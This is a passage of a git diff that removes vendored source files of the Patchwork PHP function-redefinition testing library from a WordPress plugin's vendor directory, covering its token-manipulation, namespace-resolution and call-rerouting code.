fwrite($resource, $source); - rewind($resource); - } - return $resource; -} - -function prime($file) -{ - Stream::fclose(transformAndOpen($file)); -} - -function shouldTransform($file) -{ - return !Config\isBlacklisted($file) || Config\isWhitelisted($file); -} - -function register($actions) -{ - State::$actions = array_merge(State::$actions, (array) $actions); -} - -function onImport($listeners) -{ - State::$importListeners = array_merge(State::$importListeners, (array) $listeners); -} - -class State -{ - static $actions = []; - static $importListeners = []; - static $cacheIndex = []; - static $cacheIndexFile; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Arguments.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Arguments.php deleted file mode 100644 index d0c9e77e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Arguments.php +++ /dev/null @@ -1,49 +0,0 @@ - - * @copyright 2010-2021 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\Arguments; - -use Patchwork\CodeManipulation\Source; -use Patchwork\CodeManipulation\Actions\Generic; - -/** - * @since 2.1.13 - */ -function readNames(Source $s, $pos) -{ - $result = []; - $pos++; - while (!$s->is(Generic\RIGHT_ROUND, $pos)) { - if ($s->is([Generic\LEFT_ROUND, Generic\LEFT_SQUARE, Generic\LEFT_CURLY], $pos)) { - $pos = $s->match($pos); - } else { - if ($s->is(T_VARIABLE, $pos)) { - $result[] = $s->read($pos); - } elseif ($s->is(Generic\ELLIPSIS, $pos)) { - $pos = $s->skip(Source::junk(), $pos); - $result[] = '...' . $s->read($pos); - } - $pos++; - } - } - return $result; -} - -/** - * @since 2.1.13 - */ -function constructReferenceArray(array $names) -{ - $names = array_map(function($name) { - if ($name[0] === '.') { - return '], ' . substr($name, 3) . ', ['; - } - return '&' . $name; - }, $names); - return 'array_merge([' . join(', ', $names) . '])'; -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CallRerouting.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CallRerouting.php deleted file mode 100644 index e5059c34..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CallRerouting.php +++ /dev/null @@ -1,88 +0,0 @@ - - * @link http://patchwork2.org/ - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\CallRerouting; - -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\CallRerouting; -use Patchwork\Utils; - -const CALL_INTERCEPTION_CODE = ' - $__pwClosureName = __NAMESPACE__ ? __NAMESPACE__ . "\\\\{closure}" : "\\\\{closure}"; - $__pwClass = (__CLASS__ && __FUNCTION__ !== $__pwClosureName) ? __CLASS__ : null; - if (!empty(\Patchwork\CallRerouting\State::$routes[$__pwClass][__FUNCTION__])) { - $__pwCalledClass = $__pwClass ? \get_called_class() : null; - $__pwFrame = \count(\debug_backtrace(0)); - $__pwRefs = %s; - $__pwRefOffset = 0; - if (\Patchwork\CallRerouting\dispatch($__pwClass, $__pwCalledClass, __FUNCTION__, $__pwFrame, $__pwResult, \array_merge(\array_slice($__pwRefs, $__pwRefOffset, \func_num_args()), \array_slice(\func_get_args(), \count($__pwRefs))))) { - return $__pwResult; - } - } - unset($__pwClass, $__pwCalledClass, $__pwResult, $__pwClosureName, $__pwFrame, $__pwRefs, $__pwRefOffset); -'; - -const CALL_INTERCEPTION_CODE_VOID_TYPED = ' - $__pwClosureName = __NAMESPACE__ ? __NAMESPACE__ . "\\\\{closure}" : "\\\\{closure}"; - $__pwClass = (__CLASS__ && __FUNCTION__ !== $__pwClosureName) ? __CLASS__ : null; - if (!empty(\Patchwork\CallRerouting\State::$routes[$__pwClass][__FUNCTION__])) { - $__pwCalledClass = $__pwClass ? \get_called_class() : null; - $__pwFrame = \count(\debug_backtrace(0)); - $__pwRefs = %s; - $__pwRefOffset = 0; - if (\Patchwork\CallRerouting\dispatch($__pwClass, $__pwCalledClass, __FUNCTION__, $__pwFrame, $__pwResult, \array_merge(\array_slice($__pwRefs, $__pwRefOffset, \func_num_args()), \array_slice(\func_get_args(), \count($__pwRefs))))) { - if ($__pwResult !== null) { - throw new \Patchwork\Exceptions\NonNullToVoid; - } - return; - } - } - unset($__pwClass, $__pwCalledClass, $__pwResult, $__pwClosureName, $__pwFrame, $__pwRefOffset); -'; - -const CALL_INTERCEPTION_CODE_NEVER_TYPED = ' - $__pwClosureName = __NAMESPACE__ ? __NAMESPACE__ . "\\\\{closure}" : "\\\\{closure}"; - $__pwClass = (__CLASS__ && __FUNCTION__ !== $__pwClosureName) ? __CLASS__ : null; - if (!empty(\Patchwork\CallRerouting\State::$routes[$__pwClass][__FUNCTION__])) { - $__pwCalledClass = $__pwClass ? \get_called_class() : null; - $__pwFrame = \count(\debug_backtrace(0)); - $__pwRefs = %s; - $__pwRefOffset = 0; - if (\Patchwork\CallRerouting\dispatch($__pwClass, $__pwCalledClass, __FUNCTION__, $__pwFrame, $__pwResult, \array_merge(\array_slice($__pwRefs, $__pwRefOffset, \func_num_args()), \array_slice(\func_get_args(), \count($__pwRefs))))) { - throw new \Patchwork\Exceptions\ReturnFromNever; - } - } - unset($__pwClass, $__pwCalledClass, $__pwResult, $__pwClosureName, $__pwFrame, $__pwRefOffset); -'; - -const QUEUE_DEPLOYMENT_CODE = '\Patchwork\CallRerouting\deployQueue()'; - -function markPreprocessedFiles() -{ - return Generic\markPreprocessedFiles(CallRerouting\State::$preprocessedFiles); -} - -function injectCallInterceptionCode() -{ - return Generic\prependCodeToFunctions( - Utils\condense(CALL_INTERCEPTION_CODE), - array( - 'void' => Utils\condense(CALL_INTERCEPTION_CODE_VOID_TYPED), - 'never' => Utils\condense(CALL_INTERCEPTION_CODE_NEVER_TYPED), - ), - true - ); -} - -function injectQueueDeploymentCode() -{ - return Generic\chain(array( - Generic\injectFalseExpressionAtBeginnings(QUEUE_DEPLOYMENT_CODE), - Generic\injectCodeAfterClassDefinitions(QUEUE_DEPLOYMENT_CODE . ';'), - )); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CodeManipulation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CodeManipulation.php deleted file mode 100644 index cccd5c5d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CodeManipulation.php +++ /dev/null @@ -1,33 +0,0 @@ - - * @copyright 2010-2023 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\CodeManipulation; - -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\CodeManipulation\Source; - -const EVAL_ARGUMENT_WRAPPER = '\Patchwork\CodeManipulation\transformForEval'; - -const STREAM_WRAPPER_REINSTATEMENT_CODE = '\Patchwork\CodeManipulation\Stream::reinstateWrapper();'; - -function propagateThroughEval() -{ - return Generic\wrapUnaryConstructArguments(T_EVAL, EVAL_ARGUMENT_WRAPPER); -} - -function injectStreamWrapperReinstatementCode() -{ - return Generic\injectCodeAtEnd(STREAM_WRAPPER_REINSTATEMENT_CODE); -} - -function flush() -{ - return function(Source $s) { - $s->flush(); - }; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/ConflictPrevention.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/ConflictPrevention.php deleted file mode 100644 index 634296b7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/ConflictPrevention.php +++ /dev/null @@ -1,33 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\ConflictPrevention; - -use Patchwork\CodeManipulation\Source; - -/** - * @since 2.0.1 - * - * Serves to avoid "Cannot redeclare Patchwork\redefine()" errors. - */ -function preventImportingOtherCopiesOfPatchwork() -{ - return function(Source $s) { - $namespaceKeyword = $s->next(T_NAMESPACE, -1); - if ($namespaceKeyword === INF || $namespaceKeyword < 2) { - return; - } - if ($s->read($namespaceKeyword, 4) == 'namespace Patchwork;') { - $pattern = '/@copyright\s+2010(-\d+)? Ignas Rudaitis/'; - if (preg_match($pattern, $s->read($namespaceKeyword - 2))) { - # Clear the file completely (in memory) - $s->splice('', 0, count($s->tokens)); - } - } - }; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Generic.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Generic.php deleted file mode 100644 index b2de56ec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Generic.php +++ /dev/null @@ -1,190 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\Generic; - -use Patchwork\CodeManipulation\Actions\Arguments; -use Patchwork\CodeManipulation\Source; -use Patchwork\Utils; - -const LEFT_ROUND = '('; -const RIGHT_ROUND = ')'; -const LEFT_CURLY = '{'; -const RIGHT_CURLY = '}'; -const LEFT_SQUARE = '['; -const RIGHT_SQUARE = ']'; -const SEMICOLON = ';'; - -foreach (['NAME_FULLY_QUALIFIED', 'NAME_QUALIFIED', 'NAME_RELATIVE', 'ELLIPSIS', 'ATTRIBUTE', 'READONLY'] as $constant) { - if (defined('T_' . $constant)) { - define(__NAMESPACE__ . '\\' . $constant, constant('T_' . $constant)); - } else { - define(__NAMESPACE__ . '\\' . $constant, -1); - } -} - -function markPreprocessedFiles(&$target) -{ - return function($file) use (&$target) { - $target[$file] = true; - }; -} - -function prependCodeToFunctions($code, $typedVariants = array(), $fillArgRefs = false) -{ - if (!is_array($typedVariants)) { - $typedVariants = array( - 'void' => $typedVariants, - ); - } - return function(Source $s) use ($code, $typedVariants, $fillArgRefs) { - foreach ($s->all(T_FUNCTION) as $function) { - # Skip "use function" - $previous = $s->skipBack(Source::junk(), $function); - if ($s->is(T_USE, $previous)) { - continue; - } - $returnType = getDeclaredReturnType($s, $function); - $argRefs = null; - if ($fillArgRefs) { - $parenthesis = $s->next(LEFT_ROUND, $function); - $args = Arguments\readNames($s, $parenthesis); - $argRefs = Arguments\constructReferenceArray($args); - } - $bracket = $s->next(LEFT_CURLY, $function); - # Skip generators - $yield = $s->next(T_YIELD, $bracket); - if ($yield < $s->match($bracket)) { - continue; - } - $semicolon = $s->next(SEMICOLON, $function); - if ($bracket < $semicolon) { - $variant = $returnType && isset($typedVariants[$returnType]) ? $typedVariants[$returnType] : $code; - if ($fillArgRefs) { - $variant = sprintf($variant, $argRefs); - } - $s->splice($variant, $bracket + 1); - } - } - }; -} - -function getDeclaredReturnType(Source $s, $function) -{ - $parenthesis = $s->next(LEFT_ROUND, $function); - $next = $s->skip(Source::junk(), $s->match($parenthesis)); - if ($s->is(T_USE, $next)) { - $next = $s->skip(Source::junk(), $s->match($s->next(LEFT_ROUND, $next))); - } - if ($s->is(':', $next)) { - return $s->read($s->skip(Source::junk(), $next), 1); - } - return false; -} - -function wrapUnaryConstructArguments($construct, $wrapper) -{ - return function(Source $s) use ($construct, $wrapper) { - foreach ($s->all($construct) as $match) { - $pos = $s->next(LEFT_ROUND, $match); - $s->splice($wrapper . LEFT_ROUND, $pos + 1); - $s->splice(RIGHT_ROUND, $s->match($pos)); - } - }; -} - -function injectFalseExpressionAtBeginnings($expression) -{ - return function(Source $s) use ($expression) { - $openingTags = $s->all(T_OPEN_TAG); - $openingTagsWithEcho = $s->all(T_OPEN_TAG_WITH_ECHO); - if (empty($openingTags) && empty($openingTagsWithEcho)) { - return; - } - if (!empty($openingTags) && - (empty($openingTagsWithEcho) || reset($openingTags) < reset($openingTagsWithEcho))) { - $pos = reset($openingTags); - # Skip initial declare() statements - while ($s->read($s->skip(Source::junk(), $pos)) === 'declare') { - $pos = $s->next(SEMICOLON, $pos); - } - # Enter first namespace - $namespaceKeyword = $s->next(T_NAMESPACE, $pos); - if ($namespaceKeyword !== INF) { - $semicolon = $s->next(SEMICOLON, $namespaceKeyword); - $leftBracket = $s->next(LEFT_CURLY, $namespaceKeyword); - $pos = min($semicolon, $leftBracket); - } - $s->splice(' ' . $expression . ';', $pos + 1); - } else { - $openingTag = reset($openingTagsWithEcho); - $closingTag = $s->next(T_CLOSE_TAG, $openingTag); - $semicolon = $s->next(SEMICOLON, $openingTag); - $s->splice(' (' . $expression . ') ?: (', $openingTag + 1); - $s->splice(') ', min($closingTag, $semicolon)); - } - }; -} - -function injectCodeAfterClassDefinitions($code) -{ - return function(Source $s) use ($code) { - foreach ($s->all(T_CLASS) as $match) { - if ($s->is([LEFT_ROUND, LEFT_CURLY, T_EXTENDS, T_IMPLEMENTS], $s->skip(Source::junk(), $match))) { - # Not a proper class definition: anonymous class (with or without attribute) - continue; - } - if ($s->is(T_DOUBLE_COLON, $s->skipBack(Source::junk(), $match))) { - # Not a proper class definition: ::class syntax - continue; - } - $leftBracket = $s->next(LEFT_CURLY, $match); - if ($leftBracket === INF) { - continue; - } - $rightBracket = $s->match($leftBracket); - if ($rightBracket === INF) { - continue; - } - $s->splice($code, $rightBracket + 1); - } - }; -} - -function injectCodeAtEnd($code) -{ - return function(Source $s) use ($code) { - $openTags = $s->all(T_OPEN_TAG); - $lastOpenTag = end($openTags); - $closeTag = $s->next(T_CLOSE_TAG, $lastOpenTag); - $namespaceKeyword = $s->next(T_NAMESPACE, 0); - $extraSemicolon = ';'; - if ($namespaceKeyword !== INF) { - $semicolon = $s->next(SEMICOLON, $namespaceKeyword); - $leftBracket = $s->next(LEFT_CURLY, $namespaceKeyword); - if ($leftBracket < $semicolon) { - $code = "namespace { $code }"; - $extraSemicolon = ''; - } - } - if ($closeTag !== INF) { - $s->splice("tokens) - 1, 0, Source::APPEND); - } else { - $s->splice($extraSemicolon . $code, count($s->tokens) - 1, 0, Source::APPEND); - } - }; -} - -function chain(array $callbacks) -{ - return function(Source $s) use ($callbacks) { - foreach ($callbacks as $callback) { - $callback($s); - } - }; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Namespaces.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Namespaces.php deleted file mode 100644 index f2545336..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Namespaces.php +++ /dev/null @@ -1,185 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\Namespaces; - -use Patchwork\CodeManipulation\Source; -use Patchwork\CodeManipulation\Actions\Generic; - -/** - * @since 2.1.0 - */ -function resolveName(Source $s, $pos, $type = 'class') -{ - $name = scanQualifiedName($s, $pos); - $pieces = explode('\\', $name); - if ($pieces[0] === '') { - return $name; - } - $uses = collectUseDeclarations($s, $pos); - if (isset($uses[$type][$name])) { - return '\\' . ltrim($uses[$type][$name], ' \\'); - } - if (isset($uses['class'][$pieces[0]])) { - $name = '\\' . ltrim($uses['class'][$pieces[0]] . '\\' . join('\\', array_slice($pieces, 1)), '\\'); - } else { - $name = '\\' . ltrim(getNamespaceAt($s, $pos) . '\\' . $name, '\\'); - } - return $name; -} - -/** - * @since 2.1.0 - */ -function getNamespaceAt(Source $s, $pos) -{ - foreach (collectNamespaceBoundaries($s) as $namespace => $boundaryPairs) { - foreach ($boundaryPairs as $boundaries) { - list($begin, $end) = $boundaries; - if ($begin <= $pos && $pos <= $end) { - return $namespace; - } - } - } - return ''; -} - -function collectNamespaceBoundaries(Source $s) -{ - return $s->cache([], function() { - if (!$this->has(T_NAMESPACE)) { - return ['' => [[0, INF]]]; - } - $result = []; - foreach ($this->all(T_NAMESPACE) as $keyword) { - if ($this->next(';', $keyword) < $this->next(Generic\LEFT_CURLY, $keyword)) { - return [scanQualifiedName($this, $keyword + 1) => [[0, INF]]]; - } - $begin = $this->next(Generic\LEFT_CURLY, $keyword) + 1; - $end = $this->match($begin - 1) - 1; - $name = scanQualifiedName($this, $keyword + 1); - if (!isset($result[$name])) { - $result[$name] = []; - } - $result[$name][] = [$begin, $end]; - } - return $result; - }); -} - -function collectUseDeclarations(Source $s, $begin) -{ - foreach (collectNamespaceBoundaries($s) as $boundaryPairs) { - foreach ($boundaryPairs as $boundaries) { - list($leftBoundary, $rightBoundary) = $boundaries; - if ($leftBoundary <= $begin && $begin <= $rightBoundary) { - $begin = $leftBoundary; - break; - } - } - } - return $s->cache([$begin], function($begin) { - $result = ['class' => [], 'function' => [], 'const' => []]; - # only tokens that are siblings bracket-wise are considered, - # so trait-use instances are not an issue - foreach ($this->siblings(T_USE, $begin) as $keyword) { - # skip if closure-use - $next = $this->skip(Source::junk(), $keyword); - if ($this->is(Generic\LEFT_ROUND, $next)) { - continue; - } - parseUseDeclaration($this, $next, $result); - } - return $result; - }); -} - -function parseUseDeclaration(Source $s, $pos, array &$aliases, $prefix = '', $type = 'class') -{ - $lastPart = null; - $whole = $prefix; - while (true) { - switch ($s->tokens[$pos][Source::TYPE_OFFSET]) { - case T_FUNCTION: - $type = 'function'; - break; - case T_CONST: - $type = 'const'; - break; - case T_NS_SEPARATOR: - if (!empty($whole)) { - $whole .= '\\'; - } - break; - case T_STRING: - case Generic\NAME_FULLY_QUALIFIED: - case Generic\NAME_QUALIFIED: - case Generic\NAME_RELATIVE: - $update = $s->tokens[$pos][Source::STRING_OFFSET]; - $parts = explode('\\', $update); - $whole .= $update; - $lastPart = end($parts); - break; - case T_AS: - $pos = $s->skip(Source::junk(), $pos); - $aliases[$type][$s->tokens[$pos][Source::STRING_OFFSET]] = $whole; - $lastPart = null; - $whole = $prefix; - break; - case ',': - if ($lastPart !== null) { - $aliases[$type][$lastPart] = $whole; - } - $lastPart = null; - $whole = $prefix; - $type = 'class'; - break; - case Generic\LEFT_CURLY: - parseUseDeclaration($s, $pos + 1, $aliases, $prefix . '\\', $type); - break; - case T_WHITESPACE: - case T_COMMENT: - case T_DOC_COMMENT: - break; - default: - if ($lastPart !== null) { - $aliases[$type][$lastPart] = $whole; - } - return; - } - $pos++; - } -} - -function scanQualifiedName(Source $s, $begin) -{ - $result = ''; - while (true) { - switch ($s->tokens[$begin][Source::TYPE_OFFSET]) { - case T_NS_SEPARATOR: - if (!empty($result)) { - $result .= '\\'; - } - # fall through - case T_STRING: - case Generic\NAME_FULLY_QUALIFIED: - case Generic\NAME_QUALIFIED: - case Generic\NAME_RELATIVE: - case T_STATIC: - $result .= $s->tokens[$begin][Source::STRING_OFFSET]; - break; - case T_WHITESPACE: - case T_COMMENT: - case T_DOC_COMMENT: - break; - default: - return str_replace('\\\\', '\\', $result); - } - $begin++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfInternals.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfInternals.php deleted file mode 100644 index 3a4f834d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfInternals.php +++ /dev/null @@ -1,142 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\RedefinitionOfInternals; - -use Patchwork\Config; -use Patchwork\CallRerouting; -use Patchwork\CodeManipulation\Source; -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\CodeManipulation\Actions\Namespaces; - -const DYNAMIC_CALL_REPLACEMENT = '\Patchwork\CallRerouting\dispatchDynamic(%s, \Patchwork\Utils\args(%s))'; - -function spliceNamedFunctionCalls() -{ - if (Config\getRedefinableInternals() === []) { - return function() {}; - } - $names = []; - foreach (Config\getRedefinableInternals() as $name) { - $names[strtolower($name)] = true; - } - return function(Source $s) use ($names) { - foreach (Namespaces\collectNamespaceBoundaries($s) as $namespace => $boundaryList) { - foreach ($boundaryList as $boundaries) { - list($begin, $end) = $boundaries; - $aliases = Namespaces\collectUseDeclarations($s, $begin)['function']; - # Receive all aliases, leave only those for redefinable internals - foreach ($aliases as $alias => $qualified) { - if (!isset($names[$qualified])) { - unset($aliases[$alias]); - } else { - $aliases[strtolower($alias)] = strtolower($qualified); - } - } - spliceNamedCallsWithin($s, $begin, $end, $names, $aliases); - } - } - }; -} - -function spliceNamedCallsWithin(Source $s, $begin, $end, array $names, array $aliases) -{ - foreach ($s->within([T_STRING, Generic\NAME_FULLY_QUALIFIED, Generic\NAME_QUALIFIED, Generic\NAME_RELATIVE], $begin, $end) as $string) { - $original = strtolower($s->read($string)); - if ($original[0] == '\\') { - $original = substr($original, 1); - } - if (isset($names[$original]) || isset($aliases[$original])) { - $previous = $s->skipBack(Source::junk(), $string); - $hadBackslash = false; - if ($s->is(T_NS_SEPARATOR, $previous) || $s->is(Generic\NAME_FULLY_QUALIFIED, $string)) { - if (!isset($names[$original])) { - # use-aliased name cannot have a leading backslash - continue; - } - if ($s->is(T_NS_SEPARATOR, $previous)) { - $s->splice('', $previous, 1); - $previous = $s->skipBack(Source::junk(), $previous); - } - $hadBackslash = true; - } - if ($s->is([T_FUNCTION, T_OBJECT_OPERATOR, T_DOUBLE_COLON, T_STRING, T_NEW, Generic\NAME_FULLY_QUALIFIED, Generic\NAME_QUALIFIED, Generic\NAME_RELATIVE], $previous)) { - continue; - } - $next = $s->skip(Source::junk(), $string); - if (!$s->is(Generic\LEFT_ROUND, $next)) { - continue; - } - if (isset($aliases[$original])) { - $original = $aliases[$original]; - } - $secondNext = $s->skip(Source::junk(), $next); - $splice = '\\' . CallRerouting\INTERNAL_REDEFINITION_NAMESPACE . '\\'; - $splice .= $original . Generic\LEFT_ROUND; - # prepend a namespace-of-origin argument to handle cases like Acme\time() vs time() - $splice .= !$hadBackslash ? '__NAMESPACE__' : '""'; - if (!$s->is(Generic\RIGHT_ROUND, $secondNext)) { - # right parenthesis doesn't follow immediately => there are arguments - $splice .= ', '; - } - $s->splice($splice, $string, $secondNext - $string); - } - } -} - -function spliceDynamicCalls() -{ - if (Config\getRedefinableInternals() === []) { - return function() {}; - } - return function(Source $s) { - spliceDynamicCallsWithin($s, 0, count($s->tokens) - 1); - }; -} - -function spliceDynamicCallsWithin(Source $s, $first, $last) -{ - $pos = $first; - $anchor = INF; - $suppress = false; - while ($pos <= $last) { - switch ($s->tokens[$pos][Source::TYPE_OFFSET]) { - case '$': - case T_VARIABLE: - $anchor = min($pos, $anchor); - break; - case Generic\LEFT_ROUND: - if ($anchor !== INF && !$suppress) { - $callable = $s->read($anchor, $pos - $anchor); - $arguments = $s->read($pos + 1, $s->match($pos) - $pos - 1); - $pos = $s->match($pos); - $replacement = sprintf(DYNAMIC_CALL_REPLACEMENT, $callable, $arguments); - $s->splice($replacement, $anchor, $pos - $anchor + 1); - } - break; - case Generic\LEFT_SQUARE: - case Generic\LEFT_CURLY: - spliceDynamicCallsWithin($s, $pos + 1, $s->match($pos) - 1); - $pos = $s->match($pos); - break; - case T_WHITESPACE: - case T_COMMENT: - case T_DOC_COMMENT: - break; - case T_OBJECT_OPERATOR: - case T_DOUBLE_COLON: - case T_NEW: - $suppress = true; - break; - default: - $suppress = false; - $anchor = INF; - } - $pos++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfLanguageConstructs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfLanguageConstructs.php deleted file mode 100644 index 9ba55955..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfLanguageConstructs.php +++ /dev/null @@ -1,131 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\RedefinitionOfLanguageConstructs; - -use Patchwork\CodeManipulation\Source; -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\Exceptions; -use Patchwork\Config; - -const LANGUAGE_CONSTRUCT_PREFIX = 'Patchwork\Redefinitions\LanguageConstructs\_'; - -/** - * @since 2.0.5 - */ -function spliceAllConfiguredLanguageConstructs() -{ - $mapping = getMappingOfConstructs(); - $used = []; - $actions = []; - foreach (Config\getRedefinableLanguageConstructs() as $construct) { - if (isset($used[$mapping[$construct]])) { - continue; - } - $used[$mapping[$construct]] = true; - $actions[] = spliceLanguageConstruct($mapping[$construct]); - } - return Generic\chain($actions); -} - -function getMappingOfConstructs() -{ - return [ - 'echo' => T_ECHO, - 'print' => T_PRINT, - 'eval' => T_EVAL, - 'die' => T_EXIT, - 'exit' => T_EXIT, - 'isset' => T_ISSET, - 'unset' => T_UNSET, - 'empty' => T_EMPTY, - 'require' => T_REQUIRE, - 'require_once' => T_REQUIRE_ONCE, - 'include' => T_INCLUDE, - 'include_once' => T_INCLUDE_ONCE, - 'clone' => T_CLONE, - ]; -} - -function getInnerTokens() -{ - return [ - '$', - ',', - '"', - T_START_HEREDOC, - T_END_HEREDOC, - T_OBJECT_OPERATOR, - T_DOUBLE_COLON, - T_NS_SEPARATOR, - T_STRING, - T_LNUMBER, - T_DNUMBER, - T_WHITESPACE, - T_CONSTANT_ENCAPSED_STRING, - T_COMMENT, - T_DOC_COMMENT, - T_VARIABLE, - T_ENCAPSED_AND_WHITESPACE, - Generic\NAME_FULLY_QUALIFIED, - Generic\NAME_QUALIFIED, - Generic\NAME_RELATIVE, - ]; -} - -function getBracketTokens() -{ - return [ - Generic\LEFT_ROUND, - Generic\LEFT_SQUARE, - Generic\LEFT_CURLY, - T_CURLY_OPEN, - T_DOLLAR_OPEN_CURLY_BRACES, - Generic\ATTRIBUTE, - ]; -} - -function spliceLanguageConstruct($token) -{ - return function(Source $s) use ($token) { - foreach ($s->all($token) as $pos) { - $s->splice('\\' . LANGUAGE_CONSTRUCT_PREFIX, $pos, 0, Source::PREPEND); - if (lacksParentheses($s, $pos)) { - addParentheses($s, $pos); - } - } - }; -} - -function lacksParentheses(Source $s, $pos) -{ - if ($s->is(T_ECHO, $pos)) { - return true; - } - $next = $s->skip(Source::junk(), $pos); - return !$s->is(Generic\LEFT_ROUND, $next); -} - -function addParentheses(Source $s, $pos) -{ - $pos = $s->skip(Source::junk(), $pos); - $s->splice(Generic\LEFT_ROUND, $pos, 0, Source::PREPEND); - while ($pos < count($s->tokens)) { - if ($s->is(getInnerTokens(), $pos)) { - $pos++; - } elseif ($s->is(getBracketTokens(), $pos)) { - $pos = $s->match($pos) + 1; - } else { - break; - } - } - if ($s->is(Source::junk(), $pos)) { - $pos = $s->skipBack(Source::junk(), $pos); - } - $s->splice(Generic\RIGHT_ROUND, $pos, 0, Source::APPEND); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfNew.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfNew.php deleted file mode 100644 index 03c7e50c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfNew.php +++ /dev/null @@ -1,201 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation\Actions\RedefinitionOfNew; - -use Patchwork\CodeManipulation\Source; -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\CodeManipulation\Actions\Namespaces; -use Patchwork\Config; - -const STATIC_INSTANTIATION_REPLACEMENT = '\Patchwork\CallRerouting\getInstantiator(\'%s\', %s)->instantiate(%s)'; -const DYNAMIC_INSTANTIATION_REPLACEMENT = '\Patchwork\CallRerouting\getInstantiator(%s, %s)->instantiate(%s)'; -const CALLED_CLASS = '((__CLASS__ && __FUNCTION__ !== (__NAMESPACE__ ? __NAMESPACE__ . "\\\\{closure}" : "\\\\{closure}")) ? \get_called_class() : null)'; - -const spliceAllInstantiations = 'Patchwork\CodeManipulation\Actions\RedefinitionOfNew\spliceAllInstantiations'; -const publicizeConstructors = 'Patchwork\CodeManipulation\Actions\RedefinitionOfNew\publicizeConstructors'; - -/** - * @since 2.1.0 - */ -function spliceAllInstantiations(Source $s) -{ - if (!State::$enabled || !Config\isNewKeywordRedefinable()) { - return; - } - foreach ($s->all(T_NEW) as $new) { - $begin = $s->skip(Source::junk(), $new); - if ($s->is([T_CLASS, Generic\READONLY, Generic\ATTRIBUTE], $begin)) { 